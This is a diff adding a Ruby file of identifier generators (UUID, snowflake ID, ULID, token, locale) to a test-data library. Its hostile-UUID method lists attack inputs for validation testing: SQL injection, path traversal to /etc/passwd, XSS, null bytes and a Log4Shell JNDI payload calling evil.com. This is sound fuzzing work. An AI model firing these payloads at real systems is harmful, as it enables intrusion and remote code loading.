synthra 0.1.0

data/lib/synthra/types/core/identifiers.rb

@@ -0,0 +1,445 @@
+# frozen_string_literal: true
+
+module Synthra
+  module Types
+    module Core
+      # UUID type generator with version support
+      class Uuid < Base
+        def generate_random(rng, context, args)
+          version = args[:version] || 4
+          case version
+          when 4
+            generate_v4(rng)
+          when 6
+            generate_v6(rng)
+          when 7
+            generate_v7(rng)
+          else
+            generate_v4(rng)
+          end
+        end
+
+        def generate_edge(rng, context, args)
+          rng.sample(%w[
+                       00000000-0000-0000-0000-000000000000
+                       ffffffff-ffff-ffff-ffff-ffffffffffff
+                       550e8400-e29b-41d4-a716-446655440000
+                     ])
+        end
+
+        def generate_invalid(rng, context, args)
+          rng.sample([
+                       nil,
+                       "not-a-uuid",
+                       "123",
+                       [],
+                       {}
+                     ])
+        end
+
+        # Generate hostile UUID values for security testing
+        #
+        # Returns malformed UUIDs designed to test validation
+        # and input handling.
+        #
+        # @param rng [Generator::RNG] random number generator
+        # @param context [Generator::Context] generation context
+        # @param args [Hash] type arguments
+        # @return [String] hostile UUID
+        #
+        def generate_hostile(rng, context, args)
+          hostile_uuids = [
+            "00000000-0000-0000-0000-000000000000", # Nil UUID
+            "FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF", # Max UUID
+            "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", # Non-hex chars
+            "' OR '1'='1",                          # SQLi attempt
+            "../../../etc/passwd",                  # Path traversal
+            "<script>alert('xss')</script>",        # XSS in UUID field
+            "G0000000-0000-0000-0000-000000000000", # Invalid hex (G)
+            "00000000000000000000000000000000",     # No dashes
+            "0-0-0-0-0",                            # Too short
+            "0" * 1000, # Buffer overflow
+            "${jndi:ldap://evil.com/a}", # Log4Shell payload
+            "%00%00%00%00", # Null bytes
+            "\u0000\u0000\u0000\u0000" # Unicode nulls
+          ]
+          rng.sample(hostile_uuids)
+        end
+
+        private
+
+        def generate_v4(rng)
+          # UUID v4 format: xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx
+          # 8-4-4-4-12 = 32 hex digits total
+          hex = (0..31).map { rng.int(0, 15).to_s(16) }.join
+          variant = rng.sample(%w[8 9 a b])
+          "#{hex[0, 8]}-#{hex[8, 4]}-4#{hex[13, 3]}-#{variant}#{hex[17, 3]}-#{hex[20, 12]}"
+        end
+
+        def generate_v6(rng)
+          # UUID v6: time-ordered version (deterministic)
+          # Format: tttttttt-tttt-6ttt-yxxx-xxxxxxxxxxxx
+          base_time = Time.utc(2020, 1, 1).to_i * 10_000_000
+          days_offset = rng.int(0, 365 * 10) * 86_400 * 10_000_000
+          timestamp = base_time + days_offset
+          time_hex = format("%012x", timestamp)
+          random_hex = (0..19).map { rng.int(0, 15).to_s(16) }.join # Need 20 chars for remaining parts
+          variant = rng.sample(%w[8 9 a b])
+          "#{time_hex[0, 8]}-#{time_hex[8, 4]}-6#{random_hex[0, 3]}-#{variant}#{random_hex[3, 3]}-#{random_hex[6, 12]}"
+        end
+
+        def generate_v7(rng)
+          # UUID v7: Unix epoch time-based (deterministic)
+          # Format: tttttttt-tttt-7xxx-yxxx-xxxxxxxxxxxx
+          base_time = Time.utc(2020, 1, 1).to_i * 1000
+          days_offset = rng.int(0, 365 * 10) * 86_400 * 1000
+          timestamp = base_time + days_offset
+          time_hex = format("%012x", timestamp)
+          random_hex = (0..19).map { rng.int(0, 15).to_s(16) }.join # Need 20 chars for remaining parts
+          variant = rng.sample(%w[8 9 a b])
+          "#{time_hex[0, 8]}-#{time_hex[8, 4]}-7#{random_hex[0, 3]}-#{variant}#{random_hex[3, 3]}-#{random_hex[6, 12]}"
+        end
+      end
+
+      # Snowflake ID type generator (Twitter/Discord style)
+      #
+      # Generates 19-digit numeric IDs similar to Twitter snowflake IDs.
+      # These are time-based, sortable identifiers commonly used in distributed systems.
+      #
+      # @example Generate Snowflake ID as string (default)
+      #   snowflake_id
+      #   snowflake_id(as: string)
+      #   # => "1548932749832749832"
+      #
+      # @example Generate Snowflake ID as integer
+      #   snowflake_id(as: integer)
+      #   # => 1548932749832749832
+      #
+      class SnowflakeId < Base
+        # Twitter epoch (2006-03-21 00:00:00 UTC in milliseconds)
+        TWITTER_EPOCH = 1_142_899_200_000
+
+        def generate_random(rng, context, args)
+          # Generate a snowflake-like ID
+          # Base is ~1.5 quintillion to get 19 digits
+          base = 1_548_932_749_832_749_832
+          offset = rng.int(0, 999_999_999_999)
+          value = base + offset
+
+          format_output(value, args)
+        end
+
+        def generate_edge(rng, context, args)
+          values = [
+            1,                          # Minimum
+            9_999_999_999_999_999_999,  # Maximum 19 digits
+            1_548_932_749_832_749_832,  # Typical Twitter ID
+            1,                          # Leading zeros equivalent
+            TWITTER_EPOCH * 1000        # Epoch-based
+          ]
+          value = rng.sample(values)
+          format_output(value, args)
+        end
+
+        def generate_invalid(rng, context, args)
+          rng.sample([
+                       nil,
+                       "",
+                       "invalid",
+                       "123", # Too short
+                       "-1548932749832749832", # Negative
+                       12_345 # Wrong type
+                     ])
+        end
+
+        private
+
+        def format_output(value, args)
+          as_type = args[:as] || args["as"] || "string"
+          case as_type.to_s.downcase
+          when "integer", "int", "number"
+            value
+          else
+            value.to_s
+          end
+        end
+      end
+
+      # Unix timestamp in milliseconds
+      #
+      # Generates Unix timestamps in milliseconds, commonly used
+      # in APIs like Twitter, Discord, and JavaScript.
+      #
+      # @example Generate Unix timestamp as string (default)
+      #   unix_timestamp_ms
+      #   unix_timestamp_ms(as: string)
+      #   # => "1704898204000"
+      #
+      # @example Generate Unix timestamp as integer
+      #   unix_timestamp_ms(as: integer)
+      #   # => 1704898204000
+      #
+      class UnixTimestampMs < Base
+        def generate_random(rng, context, args)
+          # Generate timestamp within last 2 years
+          base_time = Time.now.to_i * 1000
+          two_years_ms = 2 * 365 * 24 * 60 * 60 * 1000
+          offset = rng.int(0, two_years_ms)
+          value = base_time - offset
+
+          format_output(value, args)
+        end
+
+        def generate_edge(rng, context, args)
+          values = [
+            0,                          # Unix epoch
+            1_704_898_204_000,          # Fixed known timestamp
+            Time.now.to_i * 1000,       # Current time
+            253_402_300_799_000,        # Year 9999
+            86_400_000                  # One day after epoch
+          ]
+          value = rng.sample(values)
+          format_output(value, args)
+        end
+
+        def generate_invalid(rng, context, args)
+          rng.sample([
+                       nil,
+                       "",
+                       "not-a-timestamp",
+                       "-1704898204000", # Negative
+                       "abc123",
+                       12_345 # Wrong type
+                     ])
+        end
+
+        private
+
+        def format_output(value, args)
+          as_type = args[:as] || args["as"] || "string"
+          case as_type.to_s.downcase
+          when "integer", "int", "number"
+            value
+          else
+            value.to_s
+          end
+        end
+      end
+
+      # Numeric string ID with configurable length
+      #
+      # Generates numeric strings of specified length (9-19 digits by default).
+      # Useful for user IDs, account numbers, and similar identifiers.
+      #
+      # @example Generate numeric string ID
+      #   id_type = NumericStringId.new
+      #   id_type.generate_random(rng, context, { min_length: 9, max_length: 19 })
+      #   # => "7382947182947182"
+      #
+      class NumericStringId < Base
+        def generate_random(rng, context, args)
+          min_len = args[:min_length] || args[:min] || 9
+          max_len = args[:max_length] || args[:max] || 19
+          length = rng.int(min_len, max_len)
+
+          # Generate number with specified length
+          # First digit is 1-9 to avoid leading zeros
+          first = rng.int(1, 9).to_s
+          rest = (length - 1).times.map { rng.int(0, 9) }.join
+          "#{first}#{rest}"
+        end
+
+        def generate_edge(rng, context, args)
+          min_len = args[:min_length] || args[:min] || 9
+          max_len = args[:max_length] || args[:max] || 19
+
+          rng.sample([
+                       "1" * min_len, # All 1s, minimum length
+                       "9" * max_len, # All 9s, maximum length
+                       "1" + ("0" * (min_len - 1)), # Min with zeros
+                       "123456789",             # Sequential
+                       "987654321"              # Reverse sequential
+                     ])
+        end
+
+        def generate_invalid(rng, context, args)
+          rng.sample([
+                       nil,
+                       "",
+                       "invalid",
+                       "12.34",              # Decimal
+                       "-123456789",         # Negative
+                       12_345 # Not a string
+                     ])
+        end
+      end
+
+      # Alphanumeric ID generator — a fixed-length [A-Za-z0-9] string. Length comes from the
+      # positional or named arg: alphanumeric_id(12) → args[:value]; alphanumeric_id(length: 12).
+      # Used for license/serial numbers, commit-sha-like ids, API keys, etc.
+      class AlphanumericId < Base
+        CHARS = (("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a).freeze
+
+        def generate_random(rng, context, args)
+          len = id_length(args)
+          Array.new(len) { CHARS[rng.int(0, CHARS.length - 1)] }.join
+        end
+
+        def generate_edge(rng, context, args)
+          len = id_length(args)
+          rng.sample(["A" * len, "0" * len, "Z" * len])
+        end
+
+        def generate_invalid(rng, context, args)
+          rng.sample([nil, "", "has space", "bad!", 12_345])
+        end
+
+        private
+
+        # Length from a positional (args[:value]) or named (length:/n:/size:) arg; defaults to 12.
+        def id_length(args)
+          len = (args[:length] || args[:value] || args[:n] || args[:size] || 12).to_i
+          len.positive? ? len : 12
+        end
+      end
+
+      # Locale generator — BCP-47-style locale tags (e.g. "en-US", "fr-FR") for i18n/profile fields.
+      class Locale < Base
+        LOCALES = %w[
+          en-US en-GB en-CA es-ES es-MX pt-BR pt-PT fr-FR fr-CA de-DE it-IT nl-NL
+          sv-SE da-DK nb-NO fi-FI pl-PL ru-RU tr-TR ar-SA he-IL hi-IN ja-JP ko-KR
+          zh-CN zh-TW th-TH vi-VN id-ID
+        ].freeze
+
+        def generate_random(rng, context, args)
+          rng.sample(LOCALES)
+        end
+
+        def generate_edge(rng, context, args)
+          rng.sample(["en-US", "zh-CN", "ar-SA"])
+        end
+
+        def generate_invalid(rng, context, args)
+          rng.sample([nil, "", "english", "EN_us", "xx-XX", 42])
+        end
+      end
+
+      # Token generator — a URL-safe [A-Za-z0-9] string (access/refresh tokens, OAuth codes, API
+      # keys). Default length 32; override with token(48) or token(length: 64).
+      class Token < Base
+        CHARS = (("A".."Z").to_a + ("a".."z").to_a + ("0".."9").to_a).freeze
+
+        def generate_random(rng, context, args)
+          len = (args[:length] || args[:value] || args[:n] || args[:size] || 32).to_i
+          len = 32 unless len.positive?
+          Array.new(len) { CHARS[rng.int(0, CHARS.length - 1)] }.join
+        end
+
+        def generate_edge(rng, context, args)
+          rng.sample(["A" * 32, "0" * 43, "Z" * 64])
+        end
+
+        def generate_invalid(rng, context, args)
+          rng.sample([nil, "", "short", "has space", 123])
+        end
+      end
+
+      # ULID type generator (time-sortable unique identifier)
+      #
+      # Generates ULID values with deterministic timestamps for reproducible
+      # output when using seeds.
+      #
+      # @example Generate ULID
+      #   ulid_type = Ulid.new
+      #   ulid_type.generate_random(rng, context, {})
+      #   # => "01ARZ3NDEKTSV4RRFFQ69G5FAV"
+      #
+      class Ulid < Base
+        # Base32 encoding characters (Crockford's Base32, ULID-compatible)
+        BASE32_CHARS = "0123456789ABCDEFGHJKMNPQRSTVWXYZ"
+
+        # Generate a random ULID
+        #
+        # Creates a 26-character ULID with time-based sorting.
+        #
+        # @param rng [Generator::RNG] random number generator
+        # @param context [Generator::Context] generation context (not used)
+        # @param args [Hash] type arguments (not used)
+        # @return [String] 26-character ULID string
+        #
+        # @example
+        #   generate_random(rng, context, {})
+        #   # => "01ARZ3NDEKTSV4RRFFQ69G5FAV"
+        #
+        def generate_random(rng, context, args)
+          # ULID = 10 chars timestamp + 16 chars randomness
+          # Use deterministic timestamp from RNG for reproducible output
+          # Base time is 2020-01-01, add random offset up to 10 years
+          base_time = Time.utc(2020, 1, 1).to_i * 1000 # Base in milliseconds
+          days_offset = rng.int(0, 365 * 10) * 86_400 * 1000 # 10 years range
+          milliseconds_offset = rng.int(0, 86_399_999) # Random milliseconds within day
+          timestamp_ms = base_time + days_offset + milliseconds_offset
+
+          # Encode timestamp (10 chars)
+          time_part = encode_time(timestamp_ms)
+
+          # Generate random part (16 chars)
+          random_part = 16.times.map { rng.sample(BASE32_CHARS.chars) }.join
+
+          "#{time_part}#{random_part}"
+        end
+
+        # Generate edge case ULID values
+        #
+        # @param rng [Generator::RNG] random number generator
+        # @param context [Generator::Context] generation context
+        # @param args [Hash] type arguments (not used)
+        # @return [String] edge case ULID
+        #
+        def generate_edge(rng, context, args)
+          rng.sample(%w[
+                       00000000000000000000000000
+                       7ZZZZZZZZZZZZZZZZZZZZZZZZZ
+                       01ARZ3NDEKTSV4RRFFQ69G5FAV
+                     ])
+        end
+
+        # Generate invalid ULID values
+        #
+        # @param rng [Generator::RNG] random number generator
+        # @param context [Generator::Context] generation context
+        # @param args [Hash] type arguments (not used)
+        # @return [Object] invalid ULID value
+        #
+        def generate_invalid(rng, context, args)
+          rng.sample([
+                       "not-a-ulid",
+                       nil,
+                       123,
+                       ""
+                     ])
+        end
+
+        private
+
+        # Encode timestamp as ULID time component
+        #
+        # Converts milliseconds since Unix epoch into 10-character
+        # Base32-encoded string.
+        #
+        # @param ms [Integer] milliseconds since Unix epoch
+        # @return [String] 10-character time component
+        #
+        def encode_time(ms)
+          result = ""
+          value = ms
+          10.times do
+            result = BASE32_CHARS[value % 32] + result
+            value /= 32
+          end
+          result
+        end
+      end
+    end
+  end
+end